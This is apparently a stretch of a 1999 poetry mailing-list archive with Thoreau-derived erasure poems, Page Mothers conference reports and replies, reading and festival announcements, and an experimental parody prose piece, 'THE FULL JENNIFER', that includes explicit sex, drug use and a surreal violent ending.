fathomed

*

ice-harp
friend discovered in
which ice-harp chancing
air ice-it discoursed
music him
herein resides
discover it is in him

*

rivers
first time it this
piece river is
rolling fields
this substantial high
dwellings egyptian
pyramid it's reservoir think
impulse
mississippi
in trail theirs

*

creeds
the men recognize creed-- the
creed we live
rather we quite different the
written preached one-- men
their creed does them
service because their sheet does

*

thought
thought elbows
through underwood of words to
beyond
o'er bog or through rough or
or
or or or or

don cumbersome working
dewdrop slough of
despond

*

frost
confirmation of vegetation
of crystallization observe upon
of frost on windows
now together
so to or
shocks of from
on one of torrid zone
you towering
of oriental
on other frozen
downcast
frosty some
covered flocks
from common of
from to or
to
from to form complete
rows or watercourses
of foliage over imbower

*

facts
indispensable a nature a
meaning fact day
a season mature and
what understanding had cultivated
accumulators facts materials
master are plants dark
leaves instead

*

crystals
that at swamp
was a mosaic
creases channels and examined
a mass
crystallizations standing

rather at angles
was about an an was
a
crystals part triangular
cases
had each as
was laid
and a
a haven a
canvass
also that road
and bare latter as
crystallized rectilinear
an a continuation as
about a year ago having a
contained rhubarb grated water
was astonished a days afterward
rhubarb had crystallized
and
and an

*

revolutions
revolutions sudden
suffice
regulate
revolutionary
but
romulus remus
should attribute
famous infamous because
would
unobtrusive cyules
hundred
founder
scourge

*

mist
this morning with thin
evaporation according
stiffened

in it like
forming
fairies high
prick knights their
till thickest legions
glowing ill-defined
light zenith mingling in
possible proportions with
horizon neighboring hilltops
plain
ensign in his
wise windows
their

*

sunrise
king round
window smiles
smile picture I glistening
in breathings awakening
strike with undulatory motion hill
pasture I
in

*

harmony
no noise howling storm
no
unexplored harmony
thought flows so
sound of
would complain not of
on piano
harmony discordant
intolerable

*

the poem above was derived from the opening of the 1st volume of Thoreau's Journal - the first line is inevitably the heading of an entry or one word from the heading - the selections of words is due to vowel occurrence - in the 'sunrise' stanza i used every word with either an 'i' or an 'o' - in others 'creeds' for instance i selected only words with an 'e' - words per line matches that of the

original - 12 was the intended stopping point & the order is (as best as i can gauge) the same as the composition

)L

↑ Index

147. Lowther,John
addendum to Through John from Henry for John
Thu 11 Mar 1999

---

in the 'sunrise' stanza
as someone was quick to point out
i made an error
i was using words with an 'i' or a 'u'

anyway

)L

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148. P.Standard Schaefer
MFA at Otis College of Art and Design
Thu 11 Mar 1999

MFA IN WRITING — STARTING JANUARY 2000

Introducing a multi-disciplinary approach to the Creative Writing MFA, emphasizing international writing, critical theory and translation, in the context of American fiction and poetry and their relationships to other 20th century world literatures. The additional emphasis on poetics allows for a unique collaboration with our Graduate Program in Fine Arts.

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For further information about our innovative curriculum, please write Graduate Writing Program, Otis College of Art & Design, 9045 Lincoln Blvd., Los Angeles 90045; tel. 310- [redacted]. Or look us up @ www.otisart.edu.

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149. Elizabeth Treadwell

Page Mothers & Delinquent Daughters

Fri 12 Mar 1999

Hi all,

Thanks very much to Kevin Killian and Kathy Lou Schultz for tantalizing news of the Page Mothers conference last weekend. I hope to hear more from you other lucky attendants.

Something Kevin mentioned really interested me and I'd like to hear more on this subject: the fear of women losing whatever ground we've gained. (Should I put quotes around "we've"?)

I just got home from a reading at Black Oak Books in Berkeley for Rachel Blau DuPlessis's anthology THE FEMINIST MEMOIR PROJECT. It was neat to see her live. Roxanne Dunbar, one of the speakers, was REALLY COOL, with a fabulous bob and lovely barettes and very funny and astute and daring. Her book, RED DIRT, is a grand narrative of Oklahoma and Okie - dom. My mom & I both loved it. But my point was:

Discussions turned to Time magazine's portrayal of the "backlash" (occuring every five or so years acc. to someone) and Ally McBeal replacing Gloria Steinem replacing Susan B. Anthony, etc (Ally McBeal was the only color photo too, if I recall). Its vaguely funny to me that a fictional character is the basis of Time's analysis, but also rather frightening. Also frightening tho is having 3 women with perfectly comfy jobs in academia seem to question (interrogate) us "youths" about what we're doing to pitch in for women. I don't mean to be rude or disrespect the work these women have done AT ALL -- the growth of all this knowledge: its meant I could find a way to be intellectual, to be a writer that felt like ME. No small thing of course. But as I sat there with my dear friend Grace I really felt we were both being stared at for an answer. Only one other woman there looked about our age. (31 FYI). She passed on the blame (?), mentioning that she taught high school and it was hard to get the teenagers to know there was still work to do.

First of all, saying that "youth" don't GET IT seems silly and trouble-making (is your daughter the only exception or do you only believe what you read in Time?) , second: hello, (like ohmigod) Grace is writing a thesis on women's novels of the '70s, US and UK women, some of which are books she found in their first paperback form in her mom's garage and read as a jr high school student. What could be a more beautiful legacy? Was it easy to find advisors who thought this was a reasonable enterprise? Not as easy as Joyce studies, I'll bet you the sum total of my student loan debt. I do some stuff for the ladies, too. I wasn't at the page mothers, I don't know what that tone was. I wasn't entirely

put off by the tone here in Berkeley tonight either. (Tho as a daughter I can say the predictability of this town can really get a girl down - of 4 men in the audience, 2 spoke. Women had to talk about childbirth and how we should really not go back to metal straps -- OK -- look, I'll vote for that.) But my point is: The women presenting were making a big deal about how, back in the day, the fact that the media framed them all as "bra burners" or something made each of them feel alienated, like HEY, I'm me, I'm not the media projection. Well, ma'ams, if I might, I'm not Ally McBeal either.

And I'd stick up for Hypatia too.

Kevin Killian wrote:

A few hours later Rae Armantrout gave a
>welcoming speech that hit most of the notes of congratulation, celebration,
>etc. Though throughout the weekend there was this constant note of warning
>that although women had "made it" in a certain way and their achievements
>over the past 30 years are undeniable, it might all be taken away at any
>moment by a new cultural upheaval. This theme came back in different ways
>many times, but none more clearly as when Armantrout told us the story of
>Hypatia who was an ancient Greek writer and librarian and publisher who
>founded a great library and then it was all destroyed and she herself torn
>to pieces by Christians.

Would love further discussions of such.

Cheers to superwomen everywhere,
Elizabeth

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

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150. A. Jenn Sondheim
THE FULL JENNIFER
Fri 12 Mar 1999

{}

THE FULL JENNIFER

1 Jennifer with Dialog so Real you can Taste it

Jennifer tossed her head to one side, smiling at Alan. She was wearing a sheer blouse, and her long dark lustrous hair swayed in the breeze. You could almost see a pearl gleaming between her perfect teeth. Her beige skirt was short, her

black stockings visible above her boots, and a thin line of creamy flesh just above them, flushed with blood in his direction.

Jennifer's fingernails were painted red, and that smile, accompanied by long fingers holding a shot glass, brought him no end of delight. That light purple rouge of hers on her high cheekbones! The blue-black high- lights in her hair! Her full lips were slightly parted in his direction, as she said in that rich southern voice of hers, "Hello, Alan."

Her left hand, holding the black patent vinyl level purse with chrome clasp, placed the said object on the transparent glass coffee-table, as if it were the most precious purse in the world. Jennifer so delightfully held her tortoise-shell cigarette holder in his direction, a cigarette inserted and begging for a light as she said, "Do you have a match?" and Alan, trembling, complied. She blew smoke in his direction, while he won- dered how they were going to complete the perl program. "I'll close the window," said Jennifer, and she walked slowly across the thick white shag carpet to the open window twenty stories up. With a deft movement of her right wrist, she wound the window shut and the room began to grow warmer as the motion of the air began to slow except for the slight stirrings of breath in the room.

"Now, as you were saying," Jennifer continued, her ravishing onyx brace- lets dangling from her wonderful wrists. She cocked her pretty ears with matching earrings, to each other, and to the bracelet, in his direction, as if she were hanging on his every word. Walking over to the sumptuous couch, Jennifer's smile grew with every instant step. The beautiful glass chandelier had many tiny bulbs, throwing multiple shadows of Jennifer's long neck on the cream-colored plaster ceiling. Her perfect breasts were encased in her blouse with a brassiere so her nipples didn't show while her hips swayed as she sat down next to Alan, waiting to begin.

She carefully unraveled the scroll with the perl program that was many sheets long, but rolled up in an interesting way and tied with yellow and blue ribbons, to which she said that she liked craft with her technology. "Oh Alan," said Jennifer, "this is so beautiful, what the program does and all the lines and the way it's written." She smiled and her rich pouting lips opened in his direction. Her nails carefully held the blue and yellow ribbons apart while she moved pages from the more rolled end of the scroll to the lesser end. The beautiful ebony wooden handles looked wonderful in her perfectly formed fingers, her cuticles visible through the beautiful polish upon them, reflecting the myriad lights of the chandelier. The myriad lights looked red as they were reflected from her sumptuous red nail polish perfectly applied to her beautiful nails.

She carefully placed the cigarette in the ashtray with the burning end down and touching the colorful ceramic floor representing eagles above trees, of the

expensive object, with the holder dangling over the trans- parent glass of the coffee-table, at the other end. She turned slightly, her pouting lips drinking from the expensive crystal shot glass holding her whiskey as she continued to study the program. "Well Alan," she shot back to him, "what do you think of this beautiful program which I like a great deal?" Her soulful eyes like full moons with plaintive cries were opened in his direction, looking as wonderful as the blue-black highlights in her dark black long hair. She was looking so intelligent and curious about this perl program that was in the scroll that was no at least partly unrolled.

Jennifer placed her head back on the edge of the sumptuous couch with her lips slightly parted like red and open lips in his direction. "Well, Alan, let us relax," she said as she slithered in her amazing beige skirt across the floor to the bookcase to pull down with her long slender fingers the programming perl book that she had used for the help she had needed before she had rolled up the scroll with the program upon it, that she was show- ing him. She was so clear that she was proud of her programming tricks, her bracelet flashing in the light of myriad chandelier bulbs in his di- rection. Jennifer looked forward to a wonderful evening, and she said, in an amazingly soft and lustrous voice, "Thank you for lighting my cigarette and looking after my drink." Her beautiful legs were visible on the sofa with black stockings and books pointed in his direction.

2 Later that Night, Written Impressively with Attention to Detail

Jennifer rose from the couch.
Jennifer sat on the couch.
Jennifer asked for a light for another cigarette.
Jennifer finished the whiskey in the shot glass.
Jennifer rose from the couch.
Jennifer walked to the bar and poured herself another shot.
Jennifer walked back to the couch.
Jennifer drank from the shot glass.
Jennifer took two vicodin.
Jennifer walked to the window.
Jennifer smiled and continued to talk to Alan.
Jennifer offered comments on the program in the scroll.
Jennifer looked out of the window.
Jennifer said it was already past two in the morning.
Jennifer puffed on her cigarette slow and languorous.
Jennifer offered Alan a chocolate.
Jennifer walked back to the couch and sat down.
Jennifer leaned over the scroll and pointed to a line of code.
Jennifer talked about the line of code.

Jennifer had another drink from the shot glass.
Jennifer nervously held the glass in her left hand.
Jennifer continued to smoke from the cigarette in her right hand.
Jennifer smiled at Alan with a beautiful smile.
Jennifer parted her lips slightly in his direction.
Jennifer had another sip from the shot glass.
Jennifer took another vicodin.
Jennifer rose from the couch.
Jennifer walked to the cd player and put on an old cd of the Slits.
Jennifer walked to the window and looked out of the window.
Jennifer turned around and smiled at Alan.
Jennifer danced slowly in front of the window looking at Alan.
Jennifer walked over to the bookcase.
Jennifer pulled out a book on learning perl on win32 systems.
Jennifer leafed through the book.
Jennifer spoke to Alan about a command mentioned in the book.
Jennifer placed the book back on the bookcase.
Jennifer walked over to the window.
Jennifer danced again and stretched.
Jennifer walked over to the couch and sat down.
Jennifer looked at the lines of code in the scroll.
Jennifer noticed an error in one of the lines and mentioned it.
Jennifer corrected the line of code with a red pencil.
Jennifer finished her whiskey in the shot glass.
Jennifer rose from the couch and walked over to the bar.
Jennifer poured herself another shot of whiskey at the bar.
Jennifer walked back to the couch and sat down.
Jennifer smiled at Alan with a beautiful smile.
Jennifer had a sip from the shot glass.
Jennifer put the cigarette out in the ashtray.
Jennifer put another cigarette in the cigarette holder.
Jennifer asked for a light and puffed thoughtfully on the cigarette.
Jennifer looked with her beautiful eyes at Alan.
Jennifer rose from the couch.
Jennifer sat on the couch.
Jennifer leaned over the scroll and traced a line of code.
Jennifer circled the second variable with her beautiful hand.
Jennifer took another sip from the shot glass.
Jennifer rose from the glass and walked to the door.
Jennifer walked from the door to the bookcase.
Jennifer ran her fingers along the books in the bookcase.
Jennifer pulled out a book on perl and returned it to the shelf.

Jennifer walked to the window and looked out.
Jennifer opened the window and took a deep breath.
Jennifer blew cigarette smoke out of the open window.
Jennifer inhaled beautifully the smoke from her cigarette.
Jennifer looked at Alan with an eager and shiny look.
Jennifer walked from the window to the bar.
Jennifer finished her whiskey and poured herself another shot.
Jennifer sang a shot and returned to the window.
Jennifer smiled at Alan with a most beautiful smile.
Jennifer walked over to the couch and sat down.
Jennifer asked Alan if it was too cold in the room.
Jennifer looked at the lines of code with Alan.
Jennifer finished her cigarette and took another vicodin.
Jennifer walked over to the window and sat down on the white shag rug.
Jennifer slightly parted her legs in her beautiful beige skirt.
Jennifer smiled at Alan and rose and walked to the bookcase.
Jennifer looked at the beginning perl book and took it from the shelf.
Jennifer read about regular expressions and the usages of sed.
Jennifer described the syntax of sed to Alan.
Jennifer placed the book back on the shelf and walked to the window.
Jennifer danced in front of the window.
Jennifer walked to the cd player and put on American Woman.
Jennifer walked to the window and danced to American Woman.
Jennifer said this was American Woman the long live version.
Jennifer walked to the bookcase and then to the bar and couch.
Jennifer sat down on the couch and leaned over the scroll.
Jennifer asked Alan to light another cigarette.
Jennifer placed the cigarette in her mouth without the holder.
Jennifer puffed brilliantly on her cigarette.
Jennifer commented on the length of the program.
Jennifer wondered about its implementation in windows nt.
Jennifer rose from the couch and walked to the bar.
Jennifer undid the top two buttons of her sheer white blouse.
Jennifer turned and smiled at Alan her most beautiful smile.
Jennifer walked to the window and danced to American Woman.
Jennifer walked to the bookcase and read about linux 5.1.
Jennifer read the linux journal about the latest kernel implementation.
Jennifer mentioned the implementation to Alan and walked to the couch.
Jennifer sat down and leaned over the scroll.
Jennifer outlined a subroutine in the scroll with her left hand.
Jennifer demonstrated how variables are passed.
Jennifer opened her lips ever so slightly in Alan's direction.

Jennifer finished her shot and rose from the couch.
Jennifer walked over to the bar and poured herself a shot.
Jennifer walked over to the cd player.
Jennifer put American Woman the long version on a loop.
Jennifer smiled at Alan her very most beautiful smile.
Jennifer walked to the couch and sat down.
Jennifer rose from the couch and walked to the bookcase.
Jennifer pulled learning perl on win32 systems from the bookcase.
Jennifer took the learning perl book over to the couch.
Jennifer sat down on the couch and opened the learning perl book.
Jennifer pointed to a passage in the learning perl book.
Jennifer placed the book to the right of the scroll.
Jennifer traced the standard input lines of the scroll.
Jennifer said they were elegant and worked well.
Jennifer looked at the comments accompanying the lines.
Jennifer rose from the couch and walked to the door.
Jennifer walked from the door to the bookcase.
Jennifer walked from the bookcase to the bar and took another vicodin.
Jennifer walked to the couch and sat down and smiled at Alan.
Jennifer uncrossed her legs and leaned over the scroll.
Jennifer stood and walked over to the cd player.
Jennifer walked over to the bookcase.
Jennifer offered Alan another chocolate.
Jennifer walked to the couch and sat down.
Jennifer finished her cigarette and shot.
Jennifer walked over to the bar and smiled beautifully at Alan.
Jennifer walked to the couch and sat down.
Jennifer leaned over the scroll.

3 Sparkling Real-Life Description

Jennifer feels that Alan doesn't understand programming as much as she'd like him to. She listens to him explain the nature of subroutines and modules, worrying that she probably knows more about the issue herself. She wonders if he can see how drugged she is, working through these dif- ficult problems.

Jennifer is depressed watching Alan clumsily trying one kludge or another to fix the program. She listens to him asking her to lay off the whiskey as she heads back to the bar. She bends her ear towards him, trying to make sense of his ignorance when it comes to anything computer. She's up- set at his fudging his explanations over and over again.

Jennifer senses that Alan likes her when he talks about how beautiful she looks, but she senses that he disapproves of her habits. She watches him pace the

floor himself now, as he tries one or another thing with the pro- gram. She's nervous watching him head to the cd player, taking off Ameri- can Woman the long version, and putting on some music he recorded himself.

Jennifer cries inside, sensing his pain at his lack of musical success, now transformed into poor programming as well. She watches him take up the scroll, attempt to figure out the complex listings, then returning it to the table with the transparent glass top. She unbuttons a third button of her blouse, hoping Alan will notice when he looks up and again mentions her drinking.

Jennifer senses keen disappointment as half-naked and drugged she moves closer to Alan, listening to him say that she should really really take it easy with all that whiskey. She feels intense rapture as fingers press against her naked breasts, and she is lifted bodily into the air. She senses the world turning upside-down as she is placed upon the sumptuous couch.

Jennifer feels warmth all over as she snuggles under a lovely cream-white fuzzy blanket. She falls asleep with the sounds of her favorite music, American Woman the long version, playing in the background. She dreams that Alan is a brilliant programmer and a very successful musician. She dreams that he is madly in love with her. She pauses in her sleep. She begins to wake. She begs for his cock. She feels his cock deep within her, plunging her into worlds without ends, without words or dreams.

4 powerhouse description sets you right in the action

o drugged jennifer so beautiful in your beige skirt and white blouse o drugged bedraggled jennifer wonderful in your black stockings o drawn and desolate jennifer in your sumptuous black boots o jennifer swallowing the air that was alan o jennifer finishing the perfect perl program o jennifer winding the ribboned scroll, entering lines of code o jennifer going to file then run then run

"o beautiful drugged jennifer, i want to be your vicodin!
i want to be your whiskey, i want to be your cigarette!"

with fury she swung at the quivering face barely visible.
out of the corner of her eye, the scroll rose in the air, white letters
flamed against black sky.
the scroll swung into an empty space where alan was, crashing towards
the white shag floor.
her teeth fastened on the space where his penis had vacated the warmth
of jennifer's body.
her arms tethered the knife slicing away at alan's wasted breasts.
deep within her, a crash was heard and the white floor suffered an
indentation.
the letters howled from the scroll as the learning perl book flew from

the shelf, crashing red and bloody on the floor.
american woman the long live version played to the short dead thing
embedded in the white shag rug, already past three a.m.
jennifer walked out of jennifer.
jennifer walked out of there, where jennifer walked out.

"o beautiful drugged jennifer, i want to be your vicodin!
i want to be your whiskey, i want to be your cigarette!"

+++

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151. Mark Weiss
Query
Fri 12 Mar 1999

Here's an odd request: anybody have Helen Vendler's snailmail?

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152. david bromige
posted because of tom beckett's "life" (if that was on this list?)
Fri 12 Mar 1999

> guilelessness
>
> _____
>
> 5/13ths guile

db

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153. Charles Bernstein
Impulsive Behavior
Fri 12 Mar 1999

Whitney Museum of American Art at Philip Morris
120 Park Avenue at 42nd Street, New York

presents

Impulsive Behavior
New, interdisciplinary performance in which improvisation plays a central role

Thursday, April 8, 8pm Free

Bruce Andrews with dancer/choreographer Sally Silvers in "Crease"

Edwin Torres with drummer Sean Blacklung in "Super Fine Pitch (Y.D.M.)"

Charles Bernstein -- "Talk to Me: Dialog in/and/as/or Improvisation"

No reservations are required / first come first served. For further information call [redacted]

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154. Garrett Kalleberg
Friendly Celebration
Fri 12 Mar 1999

Dear Friends,

There will be a celebratory celebration and reading for the Transcendental Friend on

> Tuesday, March 16, at 7:30 PM
>
> The Dactyl Foundation
> 64 Grand Street (by Wooster, in NYC)

Readers include Daniel Machlin, Duncan Dobbelmann, Garrett Kalleberg, Heather Ramsdell, Henry Gould, Kristen Prevallet, Laird Hunt, Lisa Jarnot, Marcella Durand, Zhang Er. Wines include Red, and White. I hope you can join us!

Garrett Kalleberg
mailto:[redacted]

The Transcendental Friend can be found at:
http://www.morningred.com/friend

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155. Poetry Project
Katy Lederer in your radio
Fri 12 Mar 1999

Katy Lederer will be reading poems & discussing world affairs

this Sunday night

at 8:10 pm

on

WKCR 89.9 FM

She'd tell you herself

but she's on the way

to our nation's capital

to read poems at the Ruthless Grip galleryspaceplace

on Saturday night.

But Mark Wallace can say more about that.

Sincerely,

Anselm Berrigan

ps -- I've never met an experimental poem that wasn't the most transparent thing in the world

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156. **dbkk**

Page Mothers Report, part 2

Fri 12 Mar 1999

Hi everyone, it's Kevin Killian. I'm continuing with more of my on-scene action report from last weekend's "Page Mothers" conference at UCSD (USA) on March 5, 6, 7. I broke off right in the middle of the "canon" panel just as Maureen Owen was about to launch into her personal history of "Telephone" magazine and "Telephone" books. Christanne Miller and Lynn Keller next appeared together and divided their presentation into two halves, the first recounted rapidly the history of women editing projects in the era of, um, say 1915-1930, Margaret Anderson, Jane Heap, Lola Ridge, Kay Boyle, Sylvia Beach, Harriet Monroe etc etc, a dozen more, and showed how these women ushered on modernism in a large scale and how this tendency gradually faded away during the Depression and the women themselves effaced as modernism became thought of as a totally male movement, their contributions forgotten or nearly so. Lynn Keller then performed the contrast of the 1990s and all were struck by the unusual similarities and differences between the two eras. It made your hair stand on end. The next panelist was Libbie Rifkin of the University of Alabama who gave, I thought, a great paper outlining, very subtly and seriously, the editing styles of Anne Waldman and Bernadette Mayer during the hey day of the 2nd NY School and how in the "World" Anne Waldman created this miniature universe of poets, all of whom could "fit in her bedroom," treating them all as creatures of rare fame and value, whereas Mayer, in 0 to 9 and Unnatural Acts, continually played with collaborative values of non-agency, anonymity, textuality, etc. I'm not doing this paper much justice but it was exhilarating to listen to. Then the morning was over and we went to lunch in the nearby Student Union and I took more photos.

God, did I take a lot of photos. The fourth panel was called "Mrs. Poetry" and was devoted to the work of Bernadette Mayer. It must have made some of the panelists nervous to have Mayer sitting right there in front of them grinning

like a Cheshire cat. What if she took into her head to interrupt any of them while they spoke. I wouldn't have done this panel for 100 dollars, but I'm glad they took the Mayer challenge. Brad Westbrook introduced this panel pointing out that the Mandeville Collection which is directly behind the Geisel Room where we sat owns the Bernadette Mayer papers (1958-1995), and then Stephen Cope who had catalogued the papers for the Archive came up to the podium and gave his talk, announced as a kind of love song and indeed it was and then Lee Ann Brown's paper was similar, an alphabetical list of words and topics and titles on which she expanded from long memory, memoir, anecdote, and quotation. Most of us in the audience loved it. Leslie Scalapino followed with a disquisition on/against "lineage" which made some abrupt, mind boggling jumps among the work of Mayer, Rodrigo Toscano and Bob Grenier, warning us against the cult of personality in poetry and how the worship of the "Revered figure" could cloud our minds against the thought of the poem. This was hard to follow in parts but salutary, I suppose. Juliana Spahr had the difficult task of presenting a more conventional paper on Mayer's "Sonnets" but I thought it the most satisfying of the four talks and has made me re-read the Sonnets in a new way after hearing her and nodding and doors opening in my mind like Ingrid Bergman's dream in "Spellbound." Well done everybody.

The final paper was on the Future. Laura Moriarty's talk was on the possibilities of the internet, web, etc., but focussed on the tendencies of "avant-garde" poetry of merge together so that people are writing more and more like each other (provocative) and then rather chillingly said that the future is out of our hands since the machines themselves, smart as they are, were planning, or perhaps not planning, even now to blend their technological knowledge with our human knowledge. I took this to mean that although we don't know it Bill Gates etc has already determined our future but afterwards she said, no, it was the machines themselves (shades of Dean Koontz' "Demon Seed" with my favorite Julie Christie.) Pamela Lu spoke on behalf of the Berkeley based Idiom collective. Faced with the incredible cheapness of web publishing the Idiom boys and girls were paradoxically tempted to spend incredible amounts of $$$$ on precious object/books, as one tendency prompted its exact opposite, an irreconciliable split in desires and needs. Renee Gladman's paper was an incendiary one in which she challenged the makers of anthologies to increase the percentage of writers of color in them. No longer would she put up with an anthology of 25 writers of whom 3 or 4 were people of color. (Was this the Talisman "New American Poets" anthology? The "Moving Borders" anthology? The conference itself? Well we all got the picture.) Dodie Bellamy spoke--oh, just brilliantly, of course! But she was overshadowed by the next speaker, Marjorie Perloff, who gave the talk that had many people livid afterward. (Though I missed part of it being so moved by Dodie's speech I had to have a

cigarette outside the house of Seuss.) The hot points here were three, that much current work hailed as "innovative" is not--and she had this look in her eye as though she were hinting heavily that this was true of many of the writers in the room. The second point was that the so-called theory or criticism written by poets is horrible. She gave some examples, here naming names, such as Ann Lauterbach. The third hot point was her blanket pronouncement that "L=A=N=G=U=A=G=E" magazine had been a male-dominated oligarchy and that women had stayed out of the debate. Had stayed out of the "originary moment." As soon as it was over Carla Harryman stood up and said that although she had much respect for Perloff's accomplishments she (Perloff) had now damaged herself irretrievably in her (Harryman's) eyes by erasing the theoretical work done by women in the early years of the "Language" movement. One thing led to another and soon all were shouting, stabbing the air with hands, asking questions, firing off charges of "revisionism" on all sides, totally animated free for all. That the panels proper should end on this terribly heated note was exactly fitting, but it had an undertone of despair to it also, as though elements of doubt, overdetermination, fear had crept into the Geisel Room almost in a Trojan Horse way. Fate decreed it so, it was like the end of "Nightwood." Please understand that my misconstrual of these debates is not a purposive one, I didn't feel, even as it was happening, that I knew what was being enacted before my eyes. Others will have different takes on these events and all of them will be more accurate than mine. But I tried as best I could to grok it. Then it was time for dinner and we trooped off to the Faculty Club which was about a quarter of a mile away, probably less by daylight. And after dinner there was a grand old-fashioned kind of reading by Maureen Owen and Bernadette Mayer. Well, I will have more to say later as I continue my account of the Conference, but I have to leave now to go to my office.

I've had quite a few requests to send out copies of the special "Page Mothers" issue of "Mirage #4/Period[ical]" . .. don't worry folks they will all get in the mail to you. A few wrote in to ask, well, what Bay Area writers are included? So here's the list: Dodie Bellamy, Mary Burger, Cydney Chadwick, Norma Cole, Beverly Dahlen, Patricia Dienstfrey, Kathleen Fraser, Susan Gevirtz, Lauren Gudath, Lyn Hejinian, Brenda Hillman, Myung Mi Kim, Pamela Lu, Laura Moriarty, Yedda Morrison, Rena Rosenwasser, Jocelyn Saidenberg, Leslie Scalapino, Kathy Lou Schultz, Mary Margaret Sloan, and Elizabeth Treadwell. If you write to me back channel please give your full address and then, all will be sent to you in due course.

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157. Poetry Project
new this week
Fri 12 Mar 1999

New additions to the Tiny Press Center (you can link thru "Features" at http://www.poetryproject.com):

The "Mentions/Information/Contacts" page is now up,
and will continually updated as many have already sent us their chapbooks, journals, and other printed matter (and thanks to all of you!)

Hopefully we'll soon have some pictures up too, to give some graphic interest...

which reminds us, please send actual copies. While electronic submissions are nice to read, we want your publication in all its paper, stapled, stitched, painted, inked, handmade glory!

Also in the Center, Brian Lucas talks about Angle Press & very soon Elizabeth Treadwell will talk about Double Lucy/Outlet.

AND NOW...

This week at the Poetry Project

First, & most important

Nick Tosches is no longer going to read next Friday (March 19) with Harold Goldberg. Yes, we are sad, but he has happily been replaced by Jonathan Berger, who is the editor of the "self-renowned East Village AntiFolk fanzine" _AntiMatters_, and Debbie Branch, writer, painter and installation artist, whose most recent collection of poetry is _The Horses on Kitty's Back_. She runs the Between Rock & Reading series and is currently working on a novel. This reading is at 10:30 pm.

Monday, March 15

Gena Mason & Anthony Salerno

both of who have poetry on the Poetry Project web site (Gena is in the current selection, Anthony is in the archives).

Wednesday, March 17

Barrett Watten & Ilya Kutik

both out-of-towners, especially Ilya, who is from the West Ukraine.

Both readings are at 8 pm; $7, $4 for students, and, as ever, free for our members.

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158. Lisa Bourbeau
NY NY...
Fri 12 Mar 1999

If anyone is aware of any poetry happening in NY late on Friday the 29th, on Saturday the 30th, or not-too-late on Sunday the 31st, I would truly appreciate hearing about it by any chanel... :)

Lisa

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159. Holly Crawford
Re: Query
Fri 12 Mar 1999

Here's another: Jennifer Ashton are you out there? If so, please back channel.

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160. Doug Rice
International festival of Postmodern Piracy
Fri 12 Mar 1999

I thought people who participate in this list might be interested in an International Festival that I have organized.

NOBODADDIES PRESENTS:
An International Festival of Postmodern Piracy

to be held at Kent State University-Salem, Salem Ohio
April 14-April 16, 1999

Featuring: Jill Nagle, Ray Federman, Charles Bernstein, lance Olsen, Stacey levine, Cris Mazza, Larry McCaffery, Rob Hardin, Brian Mchale, Lily James, Alex Shakar, Ralph Berry, Jeffrey deShell, and many others.

The Festival will include performances as well as panels on Critifictional Piracy, Novel Piracy, Discourse Piracy, Musical Piracy, Yasusada, Plagiarism, Fetish Piracy, kathy Acker, and so on.

There is NO registration fee; however, to help defray costs, there is a $10.00 fee for meals. Everyone does need to register, so if you are interested in attending, please contact me directly.

The Program for the festival will be up on our website at the beginning of next week (March 16). OUr website address is:
http://www.salem.kent.edu/conf/nobo/nobodaddies.html

Thank you,

doug rice
[redacted]

[redacted] (office0
http://www.salem.kent.edu/conf/nobo/nobodaddies.html

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161. **nuyopoman**
YouthSlam is at 6PM on Monday!!!
Fri 12 Mar 1999

Monday 6PM Borders at World Trade Ctr, NYC

The Grand Finale of the Bronx Writers Corps Youth Slam!

This will rock!!!!

LOts of celebs (Schuyler Chapin, even, and some Jets'n'Giants etc) and media and (did I mention?)

Great Poetry as Youth takes on antiques like Stacy Ann Chin and Guy Gonzalez. Kenny Carroll will be there. DJ Renegade. Steve Colman.Sarah Jones. Mummz. Beau Sia.

It's free and it's poetry, what more you want????

Bob Holman

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162. **Lowther,John**
problematic question
Fri 12 Mar 1999

---

what's happening that seems New to anybody out there ?

& of course i see the absurdity of the question at multiple levels

but given the TO line i'm addressing a pretty diverse crowd

who's seen something
(in any art media)
that struck them as New, Different, etc ???

& then, if you cd...

tell us about it

thanx

)L

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163. **Mark Weiss**
Re: Page Mothers & Delinquent Daughters
Fri 12 Mar 1999

I missed the opening night panel but was there for the rest of the events. I didn't hear this tone at all. I did, by the way, hear the entire Perloff lecture. Everyone I've spoken to about it seems to have heard a different talk than I did--my guess is that we all, myself included, heard what we were prepared to hear. It will be interesting to see it on the page to find out in what way my memory was faulty. As I heard it Marjorie was trying very hard to narrow her discussion to what she considers the closest thing to an agreed-upon defining theoretical position for language poetry, the divorce between sign and signified, and to what followed therefrom in the theoretical writing of language school poets. The discussion of women's work per se seemed to me to be thrown in for the occasion--it was almost beside the point. At a different conference, I thought, she probably would have cited male critical theory that she considers inadequate. But it was also clear to me that she was enjoying being provocative, and I experienced her talk within the drama of the conference as a sort of satyr play--scurrilous and comic. It was an exciting end to an exciting conference.

At 10:32 PM 3/11/99 -0800, you wrote:
>Hi all,
>
>Thanks very much to Kevin Killian and Kathy Lou Schultz for tantalizing news
>of the Page Mothers conference last weekend. I hope to hear more from you
>other lucky attendants.
>
>Something Kevin mentioned really interested me and I'd like to hear more on
>this subject: the fear of women losing whatever ground we've gained. (Should
>I put quotes around "we've"?)
>

> *A few hours later Rae Armantrout gave a*
> *welcoming speech that hit most of the notes of congratulation, celebration, etc. Though throughout the weekend there was this constant note of warning that although women had "made it" in a certain way and their achievements over the past 30 years are undeniable, it might all be taken away at any moment by a new cultural upheaval. This theme came back in different ways many times, but none more clearly as when Armantrout told us the story of Hypatia who was an ancient Greek writer and librarian and publisher who founded a great library and then it was all destroyed and she herself torn to pieces by Christians.*
>
> *Would love further discussions of such.*

> *Cheers to superwomen everywhere,*
> *Elizabeth*
>
> *Outlet Magazine -&- Double Lucy Books*
> *P.O. Box 9013, Berkeley, California 94709 U.S.A.*
> *http://users.lanminds.com/~dblelucy*

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164. **miekal and**
Re: problematic question
Fri 12 Mar 1999

Lowther,John wrote:
>
> what's happening that seems New to anybody out there ?

new list just starting up down the road, EPOS, about the long poem, extended works, seriality, what is/isn't...in association with the list am compiling a webliography of long poem materials on the net (seems there's not as much as one would imagine, couldnt find anything about the Maximus Poems) welcome input from any & all on this site (you dont even have to join the list)....http://net22.com/neologisms/epos/eposlistframe.html

t given the TO line i'm addressing a pretty diverse crowd
>
> who's seen something
> (in any art media)
> that struck them as New, Different, etc ???

do poets hate html?

small press where you can get it.

when was the first time someone claimed the end of the text end of the book?

miekal

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165. **Lowther,John**
LOOKING FOR PEOPLE IN ATLANTA
Fri 12 Mar 1999

---

in a city this size
it seems to us that there must be more

poets
painters
sculptures
dancers
musicians
